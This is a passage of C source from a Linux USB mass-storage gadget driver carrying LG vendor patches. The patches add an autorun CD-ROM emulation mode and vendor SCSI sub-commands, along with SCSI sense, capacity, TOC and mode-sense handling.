#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
static char product_disk_id[] = LGE_UMS_PRODUCT;
static char product_cdrom_id[] = LGE_CDROM_PRODUCT;
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
if (!fsg->curlun) { /* Unsupported LUNs are okay */
fsg->bad_lun_okay = 1;
memset(buf, 0, 36);
buf[0] = 0x7f; /* Unsupported, no device-type */
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if (fsg->autorun_enable)
buf[4] = 35; // Additional length
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
return 36;
}
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if(fsg->autorun_enable) {
/* CD-Rom For Autorun */
memset(buf, 0, 8); /* Non-removable, direct-access device */
buf[0] = TYPE_CDROM;
buf[1] = 0x80; /* set removable bit */
buf[2] = 2; /* ANSI SCSI level 2 */
buf[3] = 2; /* SCSI-2 INQUIRY data format */
buf[4] = 31; /* Additional length */
sprintf(buf + 8, "%-8s%-16s%04x", fsg->vendor,
product_cdrom_id,fsg->release);
} else {
/* Mass storage */
memset(buf, 0, 8); /* Non-removable, direct-access device */
buf[0] = TYPE_UMS;
buf[1] = 0x80; /* set removable bit */
buf[2] = 2; /* ANSI SCSI level 2 */
buf[3] = 2; /* SCSI-2 INQUIRY data format */
buf[4] = 31; /* Additional length */
sprintf(buf + 8, "%-8s%-16s%04x", fsg->vendor,
product_disk_id,fsg->release);
}
#else
memset(buf, 0, 8); /* Non-removable, direct-access device */
buf[1] = 0x80; /* set removable bit */
buf[2] = 2; /* ANSI SCSI level 2 */
buf[3] = 2; /* SCSI-2 INQUIRY data format */
buf[4] = 31; /* Additional length */
/* No special options */
sprintf(buf + 8, "%-8s%-16s%04x", fsg->vendor,
fsg->product, fsg->release);
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
return 36;
}
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
static int do_ack_status(struct fsg_dev *fsg, struct fsg_buffhd *bh, u8 ack)
{
u8 *buf = (u8 *) bh->buf;
if (!fsg->curlun) { /* Unsupported LUNs are okay */
fsg->bad_lun_okay = 1;
memset(buf, 0, 1);
buf[0] = 0xf;
return 1;
}
if(ack == SUB_ACK_STATUS_ACM)
buf[0] = SUB_ACK_STATUS_ACM;
#ifdef CONFIG_LGE_USB_GADGET_MTP_DRIVER
else if(ack == SUB_ACK_STATUS_MTP)
buf[0] = SUB_ACK_STATUS_MTP;
#else
else if(ack == SUB_ACK_STATUS_RESERVED)
buf[0] = SUB_ACK_STATUS_RESERVED;
#endif
else if(ack == SUB_ACK_STATUS_UMS)
buf[0] = SUB_ACK_STATUS_UMS;
else if(ack == SUB_ACK_STATUS_ASK)
buf[0] = SUB_ACK_STATUS_ASK;
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN_CGO
else if(ack == SUB_ACK_STATUS_CGO)
buf[0] = SUB_ACK_STATUS_CGO;
#endif
#ifdef CONFIG_LGE_USB_GADGET_NDIS_DRIVER
else if(ack == SUB_ACK_STATUS_TET)
buf[0] = SUB_ACK_STATUS_TET;
#endif
return 1;
}
static int do_get_sw_rev(struct fsg_dev *fsg, struct fsg_buffhd *bh)
{
u8 *buf = (u8 *) bh->buf;
memset(buf, 0, 7);
buf[0] = 2;
buf[1] = 1;
buf[5] = 1;
buf[6] = 2;
return 7;
}
static int do_get_meid(struct fsg_dev *fsg, struct fsg_buffhd *bh)
{
u8 *buf = (u8 *) bh->buf;
memset(buf, 0, 7);
buf[0] = 3;
buf[1] = 1;
buf[5] = 1;
buf[6] = 3;
return 7;
}
static int do_get_model(struct fsg_dev *fsg, struct fsg_buffhd *bh)
{
u8 *buf = (u8 *) bh->buf;
memset(buf, 0, 7);
buf[0] = 4;
buf[1] = 1;
buf[5] = 1;
buf[6] = 4;
return 7;
}
static int do_get_sub_ver(struct fsg_dev *fsg, struct fsg_buffhd *bh)
{
u8 *buf = (u8 *) bh->buf;
memset(buf, 0, 7);
buf[0] = 5;
buf[1] = 1;
buf[5] = 1;
buf[6] = 5;
return 7;
}
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
static int do_request_sense(struct fsg_dev *fsg, struct fsg_buffhd *bh)
{
struct lun *curlun = fsg->curlun;
u8 *buf = (u8 *) bh->buf;
u32 sd, sdinfo;
int valid;
/*
* From the SCSI-2 spec., section 7.9 (Unit attention condition):
*
* If a REQUEST SENSE command is received from an initiator
* with a pending unit attention condition (before the target
* generates the contingent allegiance condition), then the
* target shall either:
* a) report any pending sense data and preserve the unit
* attention condition on the logical unit, or,
* b) report the unit attention condition, may discard any
* pending sense data, and clear the unit attention
* condition on the logical unit for that initiator.
*
* FSG normally uses option a); enable this code to use option b).
*/
#if 1
if (curlun && curlun->unit_attention_data != SS_NO_SENSE) {
curlun->sense_data = curlun->unit_attention_data;
curlun->unit_attention_data = SS_NO_SENSE;
}
#endif
if (!curlun) { /* Unsupported LUNs are okay */
fsg->bad_lun_okay = 1;
sd = SS_LOGICAL_UNIT_NOT_SUPPORTED;
sdinfo = 0;
valid = 0;
} else {
sd = curlun->sense_data;
sdinfo = curlun->sense_data_info;
valid = curlun->info_valid << 7;
curlun->sense_data = SS_NO_SENSE;
curlun->sense_data_info = 0;
curlun->info_valid = 0;
}
memset(buf, 0, 18);
buf[0] = valid | 0x70; /* Valid, current error */
buf[2] = SK(sd);
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if (fsg->autorun_enable)
put_unaligned_be32(sdinfo, &buf[3]); /* Sense information */
else
put_be32(&buf[3], sdinfo); /* Sense information */
#else
put_be32(&buf[3], sdinfo); /* Sense information */
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
buf[7] = 18 - 8; /* Additional sense length */
buf[12] = ASC(sd);
buf[13] = ASCQ(sd);
return 18;
}
static int do_read_capacity(struct fsg_dev *fsg, struct fsg_buffhd *bh)
{
struct lun *curlun = fsg->curlun;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
u32 lba;
#else
u32 lba = get_be32(&fsg->cmnd[2]);
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
int pmi = fsg->cmnd[8];
u8 *buf = (u8 *) bh->buf;
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if (fsg->autorun_enable)
lba = get_unaligned_be32(&fsg->cmnd[2]);
else
lba = get_be32(&fsg->cmnd[2]);
#endif
/* Check the PMI and LBA fields */
if (pmi > 1 || (pmi == 0 && lba != 0)) {
curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
return -EINVAL;
}
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if (fsg->autorun_enable) {
/* Max logical block */
put_unaligned_be32(curlun->num_sectors - 1, &buf[0]);
put_unaligned_be32(512, &buf[4]); /* Block length */
} else {
put_be32(&buf[0], curlun->num_sectors - 1); /* Max logical block */
put_be32(&buf[4], 512); /* Block length */
}
#else
put_be32(&buf[0], curlun->num_sectors - 1); /* Max logical block */
put_be32(&buf[4], 512); /* Block length */
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
return 8;
}
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
static void store_cdrom_address(u8 *dest, int msf, u32 addr)
{
if (msf) {
/* Convert to Minutes-Seconds-Frames */
addr >>= 2; /* Convert to 2048-byte frames */
addr += 2*75; /* Lead-in occupies 2 seconds */
dest[3] = addr % 75; /* Frames */
addr /= 75;
dest[2] = addr % 60; /* Seconds */
addr /= 60;
dest[1] = addr; /* Minutes */
dest[0] = 0; /* Reserved */
} else {
/* Absolute sector */
put_unaligned_be32(addr, dest);
}
}
static int do_read_header(struct fsg_dev *fsg, struct fsg_buffhd *bh)
{
struct lun *curlun = fsg->curlun;
int msf = fsg->cmnd[1] & 0x02;
u32 lba = get_unaligned_be32(&fsg->cmnd[2]);
u8 *buf = (u8 *) bh->buf;
if ((fsg->cmnd[1] & ~0x02) != 0) { /* Mask away MSF */
DBG(fsg, "fail 'do_read_header' invalid field in cdb\n");
curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
return -EINVAL;
}
if (lba >= curlun->num_sectors) {
DBG(fsg, "fail 'do_read_header' address out of range\n");
curlun->sense_data = SS_LOGICAL_BLOCK_ADDRESS_OUT_OF_RANGE;
return -EINVAL;
}
memset(buf, 0, 8);
buf[0] = 0x01; /* 2048 bytes of user data, rest is EC */
store_cdrom_address(&buf[4], msf, lba);
return 8;
}
static int do_read_toc(struct fsg_dev *fsg, struct fsg_buffhd *bh)
{
struct lun *curlun = fsg->curlun;
int msf = fsg->cmnd[1] & 0x02;
int start_track = fsg->cmnd[6];
u8 *buf = (u8 *) bh->buf;
if ((fsg->cmnd[1] & ~0x02) != 0 || /* Mask away MSF */
start_track > 1) {
curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
DBG(fsg, "fail do_read_toc start track\n");
return -EINVAL;
}
memset(buf, 0, 20);
buf[1] = (20-2); /* TOC data length */
buf[2] = 1; /* First track number */
buf[3] = 1; /* Last track number */
buf[5] = 0x16; /* Data track, copying allowed */
buf[6] = 0x01; /* Only track is number 1 */
store_cdrom_address(&buf[8], msf, 0);
buf[13] = 0x16; /* Lead-out track is data */
buf[14] = 0xAA; /* Lead-out track number */
store_cdrom_address(&buf[16], msf, curlun->num_sectors);
return 20;
}
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
static int do_mode_sense(struct fsg_dev *fsg, struct fsg_buffhd *bh)
{
struct lun *curlun = fsg->curlun;
int mscmnd = fsg->cmnd[0];
u8 *buf = (u8 *) bh->buf;
u8 *buf0 = buf;
int pc, page_code;
int changeable_values, all_pages;
int valid_page = 0;
int len, limit;
if ((fsg->cmnd[1] & ~0x08) != 0) { /* Mask away DBD */
curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
return -EINVAL;
}
pc = fsg->cmnd[2] >> 6;
page_code = fsg->cmnd[2] & 0x3f;
if (pc == 3) {
curlun->sense_data = SS_SAVING_PARAMETERS_NOT_SUPPORTED;
return -EINVAL;
}
changeable_values = (pc == 1);
all_pages = (page_code == 0x3f);
/* Write the mode parameter header. Fixed values are: default
* medium type, no cache control (DPOFUA), and no block descriptors.
* The only variable value is the WriteProtect bit. We will fill in
* the mode data length later. */
memset(buf, 0, 8);
if (mscmnd == SC_MODE_SENSE_6) {
buf[2] = (curlun->ro ? 0x80 : 0x00); /* WP, DPOFUA */
buf += 4;
limit = 255;
} else { /* SC_MODE_SENSE_10 */
buf[3] = (curlun->ro ? 0x80 : 0x00); /* WP, DPOFUA */
buf += 8;
limit = 65535;
}
/* No block descriptors */
/* Disabled to workaround USB reset problems with a Vista host.
*/
#if 0
/* The mode pages, in numerical order. The only page we support
* is the Caching page. */
if (page_code == 0x08 || all_pages) {
valid_page = 1;
buf[0] = 0x08; /* Page code */
buf[1] = 10; /* Page length */
memset(buf+2, 0, 10); /* None of the fields are changeable */
if (!changeable_values) {
buf[2] = 0x04; /* Write cache enable, */
/* Read cache not disabled */
/* No cache retention priorities */
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
put_unaligned_be16(0xffff, &buf[4]);
/* Don't disable prefetch */
/* Minimum prefetch = 0 */
put_unaligned_be16(0xffff, &buf[8]);
/* Maximum prefetch */
put_unaligned_be16(0xffff, &buf[10]);
/* Maximum prefetch ceiling */
#else
put_be16(&buf[4], 0xffff); /* Don't disable prefetch */
/* Minimum prefetch = 0 */
put_be16(&buf[8], 0xffff); /* Maximum prefetch */
/* Maximum prefetch ceiling */
put_be16(&buf[10], 0xffff);
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
}
buf += 12;
}
#else
valid_page = 1;
#endif
/* Check that a valid page was requested and the mode data length
* isn't too long. */
len = buf - buf0;
if (!valid_page || len > limit) {
curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
return -EINVAL;
}
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
/* Store the mode data length */
if (mscmnd == SC_MODE_SENSE_6)
buf0[0] = len - 1;
else {
if (fsg->autorun_enable)
put_unaligned_be16(len - 2, buf0);
else
put_be16(buf0, len - 2);
}
#else
/* Store the mode data length */
if (mscmnd == SC_MODE_SENSE_6)
buf0[0] = len - 1;
else
put_be16(buf0, len - 2);
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
return len;
}
static int do_start_stop(struct fsg_dev *fsg)
{
struct lun *curlun = fsg->curlun;
int loej, start;
/* int immed = fsg->cmnd[1] & 0x01; */
loej = fsg->cmnd[4] & 0x02;
start = fsg->cmnd[4] & 0x01;
if (loej) {
/* eject request from the host */
if (backing_file_is_open(curlun)) {
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
/* If eject command is received to Autorun CD,
* we reject the eject request.
*/
if (!fsg->autorun_enable) {
close_backing_file(fsg, curlun);
curlun->unit_attention_data = SS_MEDIUM_NOT_PRESENT;
}
#else
close_backing_file(fsg, curlun);
curlun->unit_attention_data = SS_MEDIUM_NOT_PRESENT;
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
}
}
return 0;
}
static int do_prevent_allow(struct fsg_dev *fsg)
{
struct lun *curlun = fsg->curlun;
int prevent;
prevent = fsg->cmnd[4] & 0x01;
if ((fsg->cmnd[4] & ~0x01) != 0) { /* Mask away Prevent */
curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
return -EINVAL;
}
if (curlun->prevent_medium_removal && !prevent)
fsync_sub(curlun);
curlun->prevent_medium_removal = prevent;
return 0;
}
static int do_read_format_capacities(struct fsg_dev *fsg,
struct fsg_buffhd *bh)
{
struct lun *curlun = fsg->curlun;
u8 *buf = (u8 *) bh->buf;
buf[0] = buf[1] = buf[2] = 0;
buf[3] = 8; /* Only the Current/Maximum Capacity Descriptor */
buf += 4;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if (fsg->autorun_enable) {
put_unaligned_be32(curlun->num_sectors, &buf[0]); /* Num of blocks */
put_unaligned_be32(512, &buf[4]); /* Block length */
} else {
put_be32(&buf[0], curlun->num_sectors); /* Number of blocks */
put_be32(&buf[4], 512); /* Block length */
}
#else
put_be32(&buf[0], curlun->num_sectors); /* Number of blocks */
put_be32(&buf[4], 512); /* Block length */
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
buf[4] = 0x02; /* Current capacity */
return 12;
}
static int do_mode_select(struct fsg_dev *fsg, struct fsg_buffhd *bh)
{
struct lun *curlun = fsg->curlun;
/* We don't support MODE SELECT */
curlun->sense_data = SS_INVALID_COMMAND;
return -EINVAL;
}
static int halt_bulk_in_endpoint(struct fsg_dev *fsg)
{
int rc;
rc = fsg_set_halt(fsg, fsg->bulk_in);
if (rc == -EAGAIN)
DBG(fsg, "delayed bulk-in endpoint halt\n");
while (rc != 0) {
if (rc != -EAGAIN) {
DBG(fsg, "usb_ep_set_halt -> %d\n", rc);
rc = 0;
break;
}
/* Wait for a short time and then try again */
if (msleep_interruptible(100) != 0)
return -EINTR;
rc = usb_ep_set_halt(fsg->bulk_in);
}
return rc;
}
/*-------------------------------------------------------------------------*/
#if 0
static int write_zero(struct fsg_dev *fsg)
{
struct fsg_buffhd *bh;
int rc;
DBG(fsg, "write_zero\n");
/* Wait for the next buffer to become available */
bh = fsg->next_buffhd_to_fill;
while (bh->state != BUF_STATE_EMPTY) {
rc = sleep_thread(fsg);
if (rc)
return rc;
}
bh->inreq->length = 0;
start_transfer(fsg, fsg->bulk_in, bh->inreq,
&bh->inreq_busy, &bh->state);
fsg->next_buffhd_to_fill = bh->next;
return 0;
}
#endif
static int throw_away_data(struct fsg_dev *fsg)
{
struct fsg_buffhd *bh;
u32 amount;
int rc;
DBG(fsg, "throw_away_data\n");
while ((bh = fsg->next_buffhd_to_drain)->state != BUF_STATE_EMPTY ||
fsg->usb_amount_left > 0) {
/* Throw away the data in a filled buffer */
if (bh->state == BUF_STATE_FULL) {
smp_rmb();
bh->state = BUF_STATE_EMPTY;
fsg->next_buffhd_to_drain = bh->next;
/* A short packet or an error ends everything */
if (bh->outreq->actual != bh->outreq->length ||
bh->outreq->status != 0) {
raise_exception(fsg, FSG_STATE_ABORT_BULK_OUT);
return -EINTR;
}
continue;
}
/* Try to submit another request if we need one */
bh = fsg->next_buffhd_to_fill;
if (bh->state == BUF_STATE_EMPTY && fsg->usb_amount_left > 0) {
amount = min(fsg->usb_amount_left, (u32) fsg->buf_size);
/* amount is always divisible by 512, hence by
* the bulk-out maxpacket size */
bh->outreq->length = bh->bulk_out_intended_length =
amount;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("In throw_away_data() - ");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
start_transfer(fsg, fsg->bulk_out, bh->outreq,
&bh->outreq_busy, &bh->state);
fsg->next_buffhd_to_fill = bh->next;
fsg->usb_amount_left -= amount;
continue;
}
/* Otherwise wait for something to happen */
rc = sleep_thread(fsg);
if (rc)
return rc;
}
return 0;
}
static int finish_reply(struct fsg_dev *fsg)
{
struct fsg_buffhd *bh = fsg->next_buffhd_to_fill;
int rc = 0;
int i;
switch (fsg->data_dir) {
case DATA_DIR_NONE:
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("In finish_reply() - DATA_DIR_NONE");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
break; /* Nothing to send */
case DATA_DIR_UNKNOWN:
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("In finish_reply() - DATA_DIR_UNKNOWN");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
rc = -EINVAL;
break;
/* All but the last buffer of data must have already been sent */
case DATA_DIR_TO_HOST:
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("finish_reply()- DIR_TO_HOST");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
if (fsg->data_size == 0)
DBG(fsg, "finish_reply(1)"); /* Nothing to send */
/* If there's no residue, simply send the last buffer */
else if (fsg->residue == 0) {
DBG(fsg, "finish_reply(1-1)");
start_transfer(fsg, fsg->bulk_in, bh->inreq,
&bh->inreq_busy, &bh->state);
fsg->next_buffhd_to_fill = bh->next;
} else {
DBG(fsg, "finish_reply(1-2)");
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
if (fsg->autorun_enable) {
start_transfer(fsg, fsg->bulk_in, bh->inreq,
&bh->inreq_busy, &bh->state);
fsg->next_buffhd_to_fill = bh->next;
} else {
if (can_stall) {
bh->state = BUF_STATE_EMPTY;
for (i = 0; i < NUM_BUFFERS; ++i) {
struct fsg_buffhd
*bh = &fsg->buffhds[i];
while (bh->state != BUF_STATE_EMPTY) {
rc = sleep_thread(fsg);
if (rc)
return rc;
}
}
rc = halt_bulk_in_endpoint(fsg);
} else {
start_transfer(fsg, fsg->bulk_in, bh->inreq,
&bh->inreq_busy, &bh->state);
fsg->next_buffhd_to_fill = bh->next;
}
}
#else
if (can_stall) {
bh->state = BUF_STATE_EMPTY;
for (i = 0; i < NUM_BUFFERS; ++i) {
struct fsg_buffhd
*bh = &fsg->buffhds[i];
while (bh->state != BUF_STATE_EMPTY) {
rc = sleep_thread(fsg);
if (rc)
return rc;
}
}
rc = halt_bulk_in_endpoint(fsg);
} else {
start_transfer(fsg, fsg->bulk_in, bh->inreq,
&bh->inreq_busy, &bh->state);
fsg->next_buffhd_to_fill = bh->next;
}
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
#if 0
/* this is unnecessary, and was causing problems with MacOS */
if (bh->inreq->length > 0)
write_zero(fsg);
#endif
}
break;
/* We have processed all we want from the data the host has sent.
* There may still be outstanding bulk-out requests. */
case DATA_DIR_FROM_HOST:
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("In finish_reply() - DATA_DIR_FROM_HOST");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
if (fsg->residue == 0)
; /* Nothing to receive */
/* Did the host stop sending unexpectedly early? */
else if (fsg->short_packet_received) {
raise_exception(fsg, FSG_STATE_ABORT_BULK_OUT);
rc = -EINTR;
}
/* We haven't processed all the incoming data. Even though
* we may be allowed to stall, doing so would cause a race.
* The controller may already have ACK'ed all the remaining
* bulk-out packets, in which case the host wouldn't see a
* STALL. Not realizing the endpoint was halted, it wouldn't
* clear the halt -- leading to problems later on. */
#if 0
fsg_set_halt(fsg, fsg->bulk_out);
raise_exception(fsg, FSG_STATE_ABORT_BULK_OUT);
rc = -EINTR;
#endif
/* We can't stall. Read in the excess data and throw it
* all away. */
else
rc = throw_away_data(fsg);
break;
}
return rc;
}
static int send_status(struct fsg_dev *fsg)
{
struct lun *curlun = fsg->curlun;
struct fsg_buffhd *bh;
int rc;
u8 status = USB_STATUS_PASS;
u32 sd, sdinfo = 0;
struct bulk_cs_wrap *csw;
DBG(fsg, "send_status\n");
/* Wait for the next buffer to become available */
bh = fsg->next_buffhd_to_fill;
while (bh->state != BUF_STATE_EMPTY) {
rc = sleep_thread(fsg);
if (rc)
return rc;
}
if (curlun) {
sd = curlun->sense_data;
sdinfo = curlun->sense_data_info;
} else if (fsg->bad_lun_okay)
sd = SS_NO_SENSE;
else
sd = SS_LOGICAL_UNIT_NOT_SUPPORTED;
if (fsg->phase_error) {
DBG(fsg, "sending phase-error status\n");
status = USB_STATUS_PHASE_ERROR;
sd = SS_INVALID_COMMAND;
} else if (sd != SS_NO_SENSE) {
DBG(fsg, "sending command-failure status\n");
status = USB_STATUS_FAIL;
VDBG(fsg, " sense data: SK x%02x, ASC x%02x, ASCQ x%02x;"
" info x%x\n",
SK(sd), ASC(sd), ASCQ(sd), sdinfo);
}
csw = bh->buf;
/* Store and send the Bulk-only CSW */
csw->Signature = __constant_cpu_to_le32(USB_BULK_CS_SIG);
csw->Tag = fsg->tag;
#ifdef CONFIG_USB_CSW_HACK
/* Since csw is being sent early, before
* writing on to storage media, need to set
* residue to zero,assuming that write will succeed.
*/
csw->Residue = 0;
#else
csw->Residue = cpu_to_le32(fsg->residue);
#endif
csw->Status = status;
bh->inreq->length = USB_BULK_CS_WRAP_LEN;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("In send_status() - ");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
start_transfer(fsg, fsg->bulk_in, bh->inreq,
&bh->inreq_busy, &bh->state);
fsg->next_buffhd_to_fill = bh->next;
return 0;
}
/*-------------------------------------------------------------------------*/
/* Check whether the command is properly formed and whether its data size
* and direction agree with the values we already have. */
static int check_command(struct fsg_dev *fsg, int cmnd_size,
enum data_direction data_dir, unsigned int mask,
int needs_medium, const char *name)
{
int i;
int lun = fsg->cmnd[1] >> 5;
static const char dirletter[4] = {'u', 'o', 'i', 'n'};
char hdlen[20];
struct lun *curlun;
hdlen[0] = 0;
if (fsg->data_dir != DATA_DIR_UNKNOWN)
sprintf(hdlen, ", H%c=%u", dirletter[(int) fsg->data_dir],
fsg->data_size);
VDBG(fsg, "SCSI command: %s; Dc=%d, D%c=%u; Hc=%d%s\n",
name, cmnd_size, dirletter[(int) data_dir],
fsg->data_size_from_cmnd, fsg->cmnd_size, hdlen);
/* We can't reply at all until we know the correct data direction
* and size. */
if (fsg->data_size_from_cmnd == 0){ //DATA_DIR_NONE
data_dir = DATA_DIR_NONE;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
//ad_info("(check_cmd(1))\n");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
}
if (fsg->data_dir == DATA_DIR_UNKNOWN) { /* CB or CBI */ //DATA_DIR_UNKNOWN
fsg->data_dir = data_dir;
fsg->data_size = fsg->data_size_from_cmnd;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
//ad_info("(check_cmd(2))\n");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
}
else { /* Bulk-only */ //DATA_DIR_
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
//ad_info("(check_cmdd(3))");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
if (fsg->data_size < fsg->data_size_from_cmnd) {
/* Host data size < Device data size is a phase error.
* Carry out the command, but only transfer as much
* as we are allowed. */
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
ad_info("phase error1");
#else
DBG(fsg, "phase error 1\n");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
fsg->data_size_from_cmnd = fsg->data_size;
fsg->phase_error = 1;
}
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
//ad_info("OK \n");
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
}
fsg->residue = fsg->usb_amount_left = fsg->data_size;
/* Conflicting data directions is a phase error */
if (fsg->data_dir != data_dir && fsg->data_size_from_cmnd > 0) {
fsg->phase_error = 1;
DBG(fsg, "phase error 2\n");
return -EINVAL;
}
/* Verify the length of the command itself */
if (cmnd_size != fsg->cmnd_size) {
/* Special case workaround: MS-Windows issues REQUEST_SENSE
* and INQUIRY commands with cbw->Length == 12 (it should be 6). */
if ((fsg->cmnd[0] == SC_REQUEST_SENSE && fsg->cmnd_size == 12)
|| (fsg->cmnd[0] == SC_INQUIRY && fsg->cmnd_size == 12)){
cmnd_size = fsg->cmnd_size;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
//ad_info("(check_cmd(5))\n"); // success Verify the length of the CMD
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
}
else {
fsg->phase_error = 1;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
//ad_info("(check_cmd(6)) \n"); //fail Verify the length of the CMD
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
return -EINVAL;
}
}
/* Check that the LUN values are consistent */
if (fsg->lun != lun)
DBG(fsg, "using LUN %d from CBW, "
"not LUN %d from CDB\n",
fsg->lun, lun);
/* Check the LUN */
if (fsg->lun >= 0 && fsg->lun < fsg->nluns) {
fsg->curlun = curlun = &fsg->luns[fsg->lun];
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
//ad_info("(check_cmd(7)) "); // check the run OK
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
if (fsg->cmnd[0] != SC_REQUEST_SENSE) {
curlun->sense_data = SS_NO_SENSE;
curlun->sense_data_info = 0;
curlun->info_valid = 0;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
//ad_info("(check_cmd(8)) \n"); //- but not same SC_REQUSET_SENSE
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
}
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
//ad_info("(check_cmd(9))\n"); // - same SC_REQUSET_SENSE
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
} else {
